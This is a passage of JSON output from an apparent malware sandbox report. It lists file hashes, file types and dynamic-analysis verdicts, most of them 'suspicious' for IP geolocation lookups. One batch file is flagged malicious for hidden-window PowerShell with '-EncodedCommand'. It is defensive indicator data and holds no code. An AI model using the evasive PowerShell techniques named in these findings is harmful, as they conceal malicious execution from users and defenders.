memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:196e2e81308342bb013a33c9c99029afce9e9ae00a3eb89e867975795b794520":{"type":"File","value":"196e2e81308342bb013a33c9c99029afce9e9ae00a3eb89e867975795b794520","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (65536), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:1afa9116a3a2a1182bd40701e04eb676610833f2fef0e5d8ed5b21f486934994":{"type":"File","value":"1afa9116a3a2a1182bd40701e04eb676610833f2fef0e5d8ed5b21f486934994"},"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213":{"type":"File","value":"1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},"File:1b7aa34e0995f2100753d9c492ccd40275d1095d81fa100844cbc8178806c86b":{"type":"File","value":"1b7aa34e0995f2100753d9c492ccd40275d1095d81fa100844cbc8178806c86b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:1c92c0a413fdd43446a3ea2ade899d1f902a594f50bcd7dd69feefc76222aab0":{"type":"File","value":"1c92c0a413fdd43446a3ea2ade899d1f902a594f50bcd7dd69feefc76222aab0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:23ab6122ee2531025bbb40a6316da523d6f0e771e0f5a3d6bf651c99aeac43a6":{"type":"File","value":"23ab6122ee2531025bbb40a6316da523d6f0e771e0f5a3d6bf651c99aeac43a6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:261902542c906e888705c5be0692020fb7f50757292633921e822de74156ccda":{"type":"File","value":"261902542c906e888705c5be0692020fb7f50757292633921e822de74156ccda","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"X1 archive data","mime_type":"text/plain"},"File:2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6":{"type":"File","value":"2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (61943)","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:2907cad6afb500213754faa428c18a4e1a1a244a8621f6a56176ff16a314f0a0":{"type":"File","value":"2907cad6afb500213754faa428c18a4e1a1a244a8621f6a56176ff16a314f0a0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (582), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:2b47992d842e6f7953eae60164a4652278bf0413375b406508b2df5c0cbb7bd3":{"type":"File","value":"2b47992d842e6f7953eae60164a4652278bf0413375b406508b2df5c0cbb7bd3","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9":{"type":"File","value":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:2cd16abf0aa0701f1bbb0ca3dcc09984bd94b6eb19a22e33a6d1cdf9e185e388":{"type":"File","value":"2cd16abf0aa0701f1bbb0ca3dcc09984bd94b6eb19a22e33a6d1cdf9e185e388","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (588), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:312cad7d76344a1011b0fd7fbb56ee0fae82257e102d515531008e1725269804":{"type":"File","value":"312cad7d76344a1011b0fd7fbb56ee0fae82257e102d515531008e1725269804","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from logicnpresourcedeobfuscator)","filetype_short":"DATA","mime_type":"application/x-powershell"},"File:3161eb856da8ba2fc17b6586489cbb5255c31d2083161bf2f80ecc3b81830960":{"type":"File","value":"3161eb856da8ba2fc17b6586489cbb5255c31d2083161bf2f80ecc3b81830960","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:38c64a3f4e383c2219dc08b021942e4f0f7183d4d897d699ee16676edff3478a":{"type":"File","value":"38c64a3f4e383c2219dc08b021942e4f0f7183d4d897d699ee16676edff3478a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (341), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:39087e204bb3f5480a6d7bbdd9c4b522d98a558c107136f13ce9c8387a57a96b":{"type":"File","value":"39087e204bb3f5480a6d7bbdd9c4b522d98a558c107136f13ce9c8387a57a96b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows, 2 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:3932825ea34a2070ea881d0a81f4b5825d6f9070c79a72527872a8ff37a91d7c":{"type":"File","value":"3932825ea34a2070ea881d0a81f4b5825d6f9070c79a72527872a8ff37a91d7c","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:3bb5f6f71be1ae0720eab3470e0aaee67e9f6dfe1bb80877989166f14856b27f":{"type":"File","value":"3bb5f6f71be1ae0720eab3470e0aaee67e9f6dfe1bb80877989166f14856b27f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:3e99aa655bc746ddfc486e77576611c78aa23ab160f90d792ec1648cb6c03b32":{"type":"File","value":"3e99aa655bc746ddfc486e77576611c78aa23ab160f90d792ec1648cb6c03b32","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:4015f4a188a3894b14000f905e4fefb18764385dc4078b2745f12930ad980d03":{"type":"File","value":"4015f4a188a3894b14000f905e4fefb18764385dc4078b2745f12930ad980d03","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:407a061d0bde557bc6558bc9fd4c8391472360ee9998f9b552cb0c0fc4034a08":{"type":"File","value":"407a061d0bde557bc6558bc9fd4c8391472360ee9998f9b552cb0c0fc4034a08","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"HTML document, ASCII text, with CRLF line terminators","filetype_short":"HTML","mime_type":"text/html"},"File:41bf503fc3b648d0e18d52ba7136490178557b422801c4d909faf1deca09a090":{"type":"File","value":"41bf503fc3b648d0e18d52ba7136490178557b422801c4d909faf1deca09a090","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:4240a55975adbfe765fddfd17ccca5f287da2e9c0167957f2b91abef64c230e1":{"type":"File","value":"4240a55975adbfe765fddfd17ccca5f287da2e9c0167957f2b91abef64c230e1","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (console) x86-64, for MS Windows, 8 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a":{"type":"File","value":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"text/plain"},"File:48701226df8502dca0c06f532ce3d6cb244ced572e62f34db23ad20a1af48a9f":{"type":"File","value":"48701226df8502dca0c06f532ce3d6cb244ced572e62f34db23ad20a1af48a9f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (435), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930":{"type":"File","value":"48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service","Detected malicious dynamic behaviour","Found PowerShell process using window style 'hidden'","Found PowerShell process with '-EncodedCommand'"]},"filetype":"DOS batch file, ISO-8859 text, with very long lines (5815), with CRLF line terminators","filetype_short":"BAT","mime_type":"text/x-msdos-batch"},"File:4b151dabf06ce43497ec327deec43d8582bc6aebb0f59bb30dc3e47aa814bd7b":{"type":"File","value":"4b151dabf06ce43497ec327deec43d8582bc6aebb0f59bb30dc3e47aa814bd7b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (456), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:4b5c9c523d24b89ef7dc03fdf2f1dc6f7246c87f259349611ce67aec473a8967":{"type":"File","value":"4b5c9c523d24b89ef7dc03fdf2f1dc6f7246c87f259349611ce67aec473a8967","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PEM certificate","mime_type":"application/x-pem-file"},"File:4b69838534e79c682d5b47fa702eb51a1f11f5cfef05d69a619ff317ad213867":{"type":"File","value":"4b69838534e79c682d5b47fa702eb51a1f11f5cfef05d69a619ff317ad213867","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with CRLF line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:4b921196f589c3c27c031d7625a249f7099f4d19663a930d871e2febe74bf397":{"type":"File","value":"4b921196f589c3c27c031d7625a249f7099f4d19663a930d871e2febe74bf397","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PEM certificate","mime_type":"application/x-pem-file"},"File:500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6":{"type":"File","value":"500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:543d2b71c4c76f0b3f368ac1ef1c4a0fc1d3d82b1d3d82913352b19c89235d50":{"type":"File","value":"543d2b71c4c76f0b3f368ac1ef1c4a0fc1d3d82b1d3d82913352b19c89235d50","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PEM certificate","mime_type":"application/x-pem-file"},"File:59becaadf2e2fff442437a589570ae55c310dd9172d5eb0f1a681e176243e908":{"type":"File","value":"59becaadf2e2fff442437a589570ae55c310dd9172d5eb0f1a681e176243e908","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:5c5aede21dc78af21a82837164b3d529404c04fc0375bc171c020db2920b730f":{"type":"File","value":"5c5aede21dc78af21a82837164b3d529404c04fc0375bc171c020db2920b730f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (65536), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:5ec010521e0f69436a5854a824c0247aa3fbb4cacca1e505f6744eb3b851052d":{"type":"File","value":"5ec010521e0f69436a5854a824c0247aa3fbb4cacca1e505f6744eb3b851052d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (585), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef":{"type":"File","value":"5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from peinfo)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:60239d9d7259bc4784599a07dc360c83398d414244f1aee4ed66c2991f8a3f58":{"type":"File","value":"60239d9d7259bc4784599a07dc360c83398d414244f1aee4ed66c2991f8a3f58","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3 Certificate, Version=00","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:6038faa0feefc4853a9f035b3d432283d435be686e672168ed845425ea1470bb":{"type":"File","value":"6038faa0feefc4853a9f035b3d432283d435be686e672168ed845425ea1470bb","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from pe_extract_certificates)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:60865a579eed334f451ca1821328d20beb55a2a5152610e03f609936f30f292b":{"type":"File","value":"60865a579eed334f451ca1821328d20beb55a2a5152610e03f609936f30f292b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:60ab94a4a8204700a9d076a8c4f5ac2f09dced5a1da33bbbbb00ea1453b5f834":{"type":"File","value":"60ab94a4a8204700a9d076a8c4f5ac2f09dced5a1da33bbbbb00ea1453b5f834","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from logicnpresourcedeobfuscator)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:60cc424c1f7cf8d5d553d00e60f97b5e7707caf317b68292f2567093bcb47f36":{"type":"File","value":"60cc424c1f7cf8d5d553d00e60f97b5e7707caf317b68292f2567093bcb47f36","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from powershell_base64)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:624ef36c6e1bb605286d4ae44e275b32b563fafeccfc7ae3212e91175d5194a1":{"type":"File","value":"624ef36c6e1bb605286d4ae44e275b32b563fafeccfc7ae3212e91175d5194a1","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (console) x86-64, for MS Windows, 8 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:63db0149410b0be2e4a4a3a9a989cb2388cc7ab0997d480dc9aef954cff61ba9":{"type":"File","value":"63db0149410b0be2e4a4a3a9a989cb2388cc7ab0997d480dc9aef954cff61ba9","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (578), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:66618526354887f15ef4682c2af515e5e6d1dd87d85289e2f7e2b117a54981ad":{"type":"File","value":"66618526354887f15ef4682c2af515e5e6d1dd87d85289e2f7e2b117a54981ad","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:66ebf4506a3d269dd20031921b7621623ab760695bc132b5487bd50f277c70c8":{"type":"File","value":"66ebf4506a3d269dd20031921b7621623ab760695bc132b5487bd50f277c70c8","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:690cdc963869f5920d19b3e6ef9a3d4b79f05bf93c0ec56d41e43f90163a5c0e":{"type":"File","value":"690cdc963869f5920d19b3e6ef9a3d4b79f05bf93c0ec56d41e43f90163a5c0e"},"File:6ac0f277484e81533f6f7a7d81e383a8e6219e0349f8eae0c779a017a8cd4ae5":{"type":"File","value":"6ac0f277484e81533f6f7a7d81e383a8e6219e0349f8eae0c779a017a8cd4ae5"},"File:6cf1b57d59e7111bc218dfb01dda93ac0f776715599a1c69f89035bd20c16a10":{"type":"File","value":"6cf1b57d59e7111bc218dfb01dda93ac0f776715599a1c69f89035bd20c16a10","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from peinfo)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:6e31189268c4d90aaf402ac747a808c6d140ca19638adbd55d81c05f2b76c989":{"type":"File","value":"6e31189268c4d90aaf402ac747a808c6d140ca19638adbd55d81c05f2b76c989","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (65536), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea":{"type":"File","value":"6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea"},"File:75e50b0d2e70dcba5cf1919181082be2e0fb2c4ef693d66cefb593736c8079ad":{"type":"File","value":"75e50b0d2e70dcba5cf1919181082be2e0fb2c4ef693d66cefb593736c8079ad","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:76156bef4fb21386d4e6514706ad4778b468d27b53e215de05d1274fdfb44b31":{"type":"File","value":"76156bef4fb21386d4e6514706ad4778b468d27b53e215de05d1274fdfb44b31","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation buffer)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:7679f80ee2539dc758ff4b600265d87c69c214ee12c5fd0efd473a87d85c311b":{"type":"File","value":"7679f80ee2539dc758ff4b600265d87c69c214ee12c5fd0efd473a87d85c311b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},"File:7d2065ab0b76498a637c88add286195c71bdb593a995d1f6cedd7ba5fc63ef9e":{"type":"File","value":"7d2065ab0b76498a637c88add286195c71bdb593a995d1f6cedd7ba5fc63ef9e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:843b1e0910335e61499f5cf3a620f936ae62f3d25ccde352ff2ce60954737a2f":{"type":"File","value":"843b1e0910335e61499f5cf3a620f936ae62f3d25ccde352ff2ce60954737a2f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:84c456fff0ae98d14db6b061c596e65e3a359d539031fb43d93bca82b102e8f8":{"type":"File","value":"84c456fff0ae98d14db6b061c596e65e3a359d539031fb43d93bca82b102e8f8","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:873caf55fd4116af7f56c707083b93e4c2445855dcb9a5432bf5da3f944821c1":{"type":"File","value":"873caf55fd4116af7f56c707083b93e4c2445855dcb9a5432bf5da3f944821c1","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows, 2 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:8a92d1a29d39049d2e329bc926f137dd01acded296b7580bef8ff74bacf624ce":{"type":"File","value":"8a92d1a29d39049d2e329bc926f137dd01acded296b7580bef8ff74bacf624ce"},"File:8f48f434845a1a805eb235fa12f58d52ef1e6023db590f21bd3d7ee718274cf0":{"type":"File","value":"8f48f434845a1a805eb235fa12f58d52ef1e6023db590f21bd3d7ee718274cf0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:8f86e3c3874649bb56bbb551a099462371a87f22421487a86a8637072bc14dd0":{"type":"File","value":"8f86e3c3874649bb56bbb551a099462371a87f22421487a86a8637072bc14dd0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:9531887463feca8f93eff33d4b74c709187a5225afea751f551f3aacbf54b7f9":{"type":"File","value":"9531887463feca8f93eff33d4b74c709187a5225afea751f551f3aacbf54b7f9","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (344), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:979ba095e780e1e4062d190c40acf086cb7db200c6c5aac97617a7621e033bb2":{"type":"File","value":"979ba095e780e1e4062d190c40acf086cb7db200c6c5aac97617a7621e033bb2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:98de7180055ca23f4eec4ea4ce9e902d8dd256d9877d0334592936632cb2b2aa":{"type":"File","value":"98de7180055ca23f4eec4ea4ce9e902d8dd256d9877d0334592936632cb2b2aa","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:9bd5fbfd30ce08f9a41c11bcf2d0b53b1888b76627e38e9bee125606bf620c92":{"type":"File","value":"9bd5fbfd30ce08f9a41c11bcf2d0b53b1888b76627e38e9bee125606bf620c92","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from un7z)","filetype_short":"DATA","mime_type":"application/x-powershell"},"File:9bf77b76dac2e35bf03811a91b8d014bde38b53935b8bbfe6ab3dc81ec9f4bd0":{"type":"File","value":"9bf77b76dac2e35bf03811a91b8d014bde38b53935b8bbfe6ab3dc81ec9f4bd0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:9f6a6694737e54b7022360509ed095c3eca909ae4adeb5583f2d3f8aaf7d75e0":{"type":"File","value":"9f6a6694737e54b7022360509ed095c3eca909ae4adeb5583f2d3f8aaf7d75e0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PEM certificate","mime_type":"application/x-pem-file"},"File:a097423ebb380b44d048f8b2e01921fa8fba69e41f5e221d9a826c1d4871ae6a":{"type":"File","value":"a097423ebb380b44d048f8b2e01921fa8fba69e41f5e221d9a826c1d4871ae6a"},"File:a11937f356a9b0ba592c82f5290bac8016cb33a3f9bc68d3490147c158ebb10d":{"type":"File","value":"a11937f356a9b0ba592c82f5290bac8016cb33a3f9bc68d3490147c158ebb10d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from peinfo)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:a536119a38a7d9ad225a2cb4a26222d0b7be4b429b7cd3027ed381e430b7715d":{"type":"File","value":"a536119a38a7d9ad225a2cb4a26222d0b7be4b429b7cd3027ed381e430b7715d"},"File:a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918":{"type":"File","value":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-pem-file"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:ad677d79c58fba70140e1ce87a3045927b54e26efc07b89e59eb1188e5e9fa3a":{"type":"File","value":"ad677d79c58fba70140e1ce87a3045927b54e26efc07b89e59eb1188e5e9fa3a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf":{"type":"File","value":"ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:b0c6b4888c590056b443ca3aa3cecab904b778de78d6dc50a032c6f6e19e1a08":{"type":"File","value":"b0c6b4888c590056b443ca3aa3cecab904b778de78d6dc50a032c6f6e19e1a08","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:b35e09fa2ced9ebcad9d16336fb961146fe34bfbebc562679da85f8a314c9dca":{"type":"File","value":"b35e09fa2ced9ebcad9d16336fb961146fe34bfbebc562679da85f8a314c9dca","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with CRLF line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:b565a7e54d52ceeb8250e496db5b7ab8754fe1dbd7e8c2d73545a5b42b4b7be8":{"type":"File","value":"b565a7e54d52ceeb8250e496db5b7ab8754fe1dbd7e8c2d73545a5b42b4b7be8","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from powershell_base64)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6":{"type":"File","value":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text 